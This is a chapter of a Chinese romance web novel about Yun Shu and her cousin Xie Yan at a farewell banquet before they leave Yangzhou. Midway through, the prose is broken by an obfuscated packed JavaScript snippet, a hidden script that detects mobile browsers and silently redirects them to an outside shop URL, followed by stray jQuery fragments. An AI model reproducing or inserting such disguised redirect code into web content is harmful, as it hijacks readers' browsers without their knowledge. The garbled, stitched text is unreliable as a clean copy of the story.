不过和这襄州商人的合作,陆明浅确实不打算考虑。
她答应过父亲,会将陆家酒馆一直经营下去。
与酒楼捆绑,便注定会有利益纠葛,且会受到多种限制,就算这襄州商人看上去是个好说话的人,陆明浅也并不觉得可行。
如此非是她的意愿,便是父亲活着,怕也不会同意。
第二日陆明浅便回绝了这位襄州商人,商人虽有些遗憾,却也并未多说什么。
流芳阁步入正轨,云舒和宋凝两人就能应付的过来,陆明浅便回了酒馆继续忙自己的。
店里没什么客人的时候云舒会在柜台和宋凝学着看账本。
密密麻麻的账本看的云舒眼有些花,但宋凝很有耐心,语气柔柔的替她讲着,她恍然大悟的表示明白的时候宋凝仿佛比她还高兴。
今日风有些大,自门口吹进来,宋凝的面纱有些摇摇欲坠。
这让她看上去有些紧张,时不时的抬手将面纱按紧。
云舒瞧见她的动作,若有所思片刻,垂眸继续看账本。
但当天铺子关门之后,她去了一趟银匠铺。
九月眼看就要结束,距离回京的日期越来越近。
先前的忐忑和排斥倒是淡了不少,也不知是不是已经和谢之远撕破脸,且已经和大表哥坦白的缘故。
真说起来,倒也是件好事。
毕竟云舒当真是骗不来人的,面对谢砚的时候更是时常心虚。
如今没了这些需要遮遮掩掩的秘密,反倒是轻松许多。
下值之后谢砚来接她。
因着要回京,这段时间以来除了公务上的事情,各种邀约酒局更是数不清。
谢砚不喜应酬,也并不碰酒水,但这三年里在扬州难免有些交情尚可的官员,便是推了一些,剩下的这些也令他应付了许久。
除此之外,他还欠粱时樾一个人情。
这人特地算着时间,为了防止他从中作梗,白日里去了流芳阁,借着给粱稚鱼挑选礼物的理由将邀约告知了云舒。
明日他在洛王府设宴,给二人饯行。
担心云舒不去,还特地提醒说粱稚鱼这两日跟洛王妃闹了点矛盾,让她去劝一劝。
云舒将此事告知了谢砚,“大表哥要去吗?”
知道粱时樾八成没安好心,但谁叫他欠了人情呢,谢砚还是点头,“去。”
第二日云舒梳妆打扮一番,难得不去流芳阁,便将谢砚送她的那对珍珠耳坠戴上了。
阳光似乎对她格外的偏爱,这烈日炎炎的一整个夏天,竟未将她晒黑分毫。
乌溜溜的眸子忽闪忽闪的,小跑到谢砚面前,在他怔忪的目光中转了圈,歪了歪脑袋把耳朵凑向他,“好看吗?”
谢砚轻笑,连带着对粱时樾一会儿不知要作什么妖的轻微警惕也散了开去。
“好看。”
他竟生出些懊恼来,早知如此,从前遇到的那些精美华贵的首饰,就应该都买下来。
这些东西能够讨得她的欢心,自是值得。
到了洛王府,粱时樾眉开眼笑地从里头出来,还未说话眼睛就瞟到了云舒耳朵上戴着的那对耳坠,立马意味深长的瞧了谢砚一眼。
但这人实在无趣,瞧不出丝毫情绪,惹得粱时樾翻了个白眼。
在粱稚鱼跑上来拽着云舒去了后院之后,粱时樾才笑嘻嘻的凑到谢砚面前,“我那还有条粉色珍珠的项链,怎么样,想不想也拿回去给你家小表妹?”
谢砚这才看过来,眉心一蹙,明显不满,“上次为何不一起拿出来?”
“……”
粱时樾险些被他这理直气壮地样子气笑了,“就兴你讨美人欢心,我就不能留着送美人了?”
闻言,谢砚默默看他半晌,面无表情道:“那还是给我吧。”
他身边的莺莺燕燕没个定数,今日是这个,明日是那个,倒也不是不能送,谢砚还特地替他考虑了一番,“一条项链不够分,我那有些寻常首饰,虽不算多精美,但至少价格不菲,配得上你洛王世子的身份,也好公平一些,让你身边的红颜知己人手一份。”
粱时樾:“……”
他觉得谢砚是在嘲讽他。
忍不住为自己辩解,“我这风流倜傥的,身边没有些红颜知己才奇怪吧,你以为谁都跟你似的。”
看在珍珠项链的份上,谢砚很识趣的噤声。
对于云舒要跟着谢砚离开扬州一事,对粱稚鱼的打击实在不小。
这边洛王妃在跟她寒暄,说着京中的事情,又告知了云舒京中与她关系不错的夫人,等她到了京城,若是有什么需要的,尽管去向这些夫人开口,看在她的面子上,这些人也必会出手相助。
云舒连忙道谢。
这短短半年的时间,她虽在扬州,却好像给即将去京城的自己戴上了重重盔甲。
她还沉浸在细微的感动里,那边就传来哽咽的抽泣声。
云舒一愣,连忙扭过头去,瞧见粱稚鱼正扁着嘴泪眼汪汪的瞧着她,“云姐姐还会回来吗?”
这……
云舒一时间还真不知道该怎么回答。
一来扬州和京城相距甚远,此次回去,往后还会不会再来她真的不清楚,便是还会回来,也不知会是何时了。
云舒实在是说不出哄骗她的话,正犹豫间,洛王妃抬手敲了下粱稚鱼的脑门,“少来这套,你云姐姐不来扬州,难不成你不会去京城了?”
洛王爷偶尔会进京面圣,少说一年也会去上一次,以洛王爷对这小丫头的疼爱程度,撒一撒娇怎么可能会不带上她。
但粱稚鱼还是委屈巴巴的擦了擦眼泪,“云姐姐走了就没人愿意陪我玩了。”
和她相处的次数多了,云舒对这小丫头倒也摸清了不少。
她的性子其实完全跟坏搭不上边,顶多是有些骄矜罢了,她需要朋友,但那些接近她的人大多被家中人千叮咛万嘱咐不能得罪她,以至于和她相处总是胆战心惊的。
次数多了,粱稚鱼烦的厉害,自然不愿意再和她们接触了。
她不过是想要交一些能够和她正常相处的朋友罢了。
但显得自己没有朋友多少可怜了些,粱稚鱼撅着嘴给自己找补,“她们太无趣,我才不爱和她们玩。”
洛王妃与云舒对视一眼,云舒轻笑一声,洛王妃则是撇了撇嘴,对自家女儿的嘴硬无奈摇头。
要回京了,洛王妃道粱时樾和谢砚今日少不了要饮一饮酒,干脆便将云舒留下来与她一同用膳,又派人去跟谢砚说了声。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795916|188367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
云舒还有些犹豫,她记得先前周凌川似乎说过大表哥不怎么饮酒。
倒是不知是因为酒量不好,还是单纯的不喜欢。
她也并未多想。
等用完膳,陪着粱稚鱼玩了会儿,在她接连打了好几个哈欠之后,洛王妃让人把粱稚鱼送回去休息了。
见云舒时不时往外看,笑了声,目光从她那莹润亮泽的珍珠耳坠上扫过,眼眸中闪过些揶揄,“这两人也该聊的差不多了,我让人送你过去瞧瞧。”
云舒有些不好意思,有种自己太过黏人被长辈看破的羞耻感。
但还是红着脸点了点头。
粱时樾倒是个有情调的,饮酒的地点在后院的竹林里。
清幽僻静的地点确实很适合饮酒谈事。
云舒到的时候他与谢砚对坐着,抬眸瞧见云舒过来,眼睛一亮,连忙站起身朝她招招手,“表妹过来了,正好,我正想着送他去找你呢。”
表妹这个称呼云舒听过许多次,但从粱时樾口中说出,总像是带着一种对他和谢砚的打趣一般。
背对着她的谢砚也慢慢回了头,那双清冷的眼睛如今有些涣散,唯有望向她的时候才像是找到了焦点。
云舒快走几步,到他跟前,“大表哥醉了?”
谢砚的视线从落到她身上就没再移开过,看的云舒有种胆战心惊的感觉。
一旁的粱时樾笑了声,“他的酒量这么多年没一点长进,先说好,我可没让他喝多少。”
他指了指一旁的酒坛子,朝云舒道:“诺,这一坛子全是我喝的,谢砚顶多喝了三碗。”
云舒瞧了瞧那不大不小的瓷碗,心道大表哥的酒量还真是一般。
她忍不住低头看了眼还坐在石凳上的谢砚,这人目光还没移走,直勾勾的盯着她看。
旁人醉了酒大多数面色酡红,满身酒气,但谢砚却与平时一般无二,除了这与往日截然不同的目光和看上去有些僵硬的动作之外,真看不出是醉了酒的。
忍住被他盯得有些头皮发麻的感觉扶着人起身,云舒小声道:“咱们回去吧。”
谢砚不作声,但跟着她往外走。
像是恶劣一面被释放出来似的,他故意将全身的重量压在云舒身上,看她踉跄了下,抬起头控诉的瞪他,顿时扯了扯嘴角。
云舒:“……”
费了番功夫将他扶到马车上,没了旁人,云舒才放松了些。
便是被他这样直勾勾的盯着也没那么心惊肉跳了。
而是仔仔细细的盯着谢砚打量了一番,抬手在他面前挥了挥,“大表哥真的醉了?”
谢砚皱眉,将她的手拉下来放在掌心里捏来涅去的把玩着,好似给自己找到了个很不错能打发时间的小玩意。
云舒觉得他这样子莫名的有些有趣,故意逗他,将手扯回来藏在身后。
谢砚眉心皱的更严重,抬眼与她对视一番,眸光微微一闪,好似找到了更为有趣的东西,猛地将她朝自己这边扯来,指腹轻轻捏上她还佩戴着粉色珍珠的耳垂。
这次,动作很轻。
夏日的衣衫单薄,云舒猝不及防坐到了他的腿上,坚实硬朗又滚烫的触感让她浑身紧绷,完全不敢乱动。
醉了酒的大表哥,她真不太了解。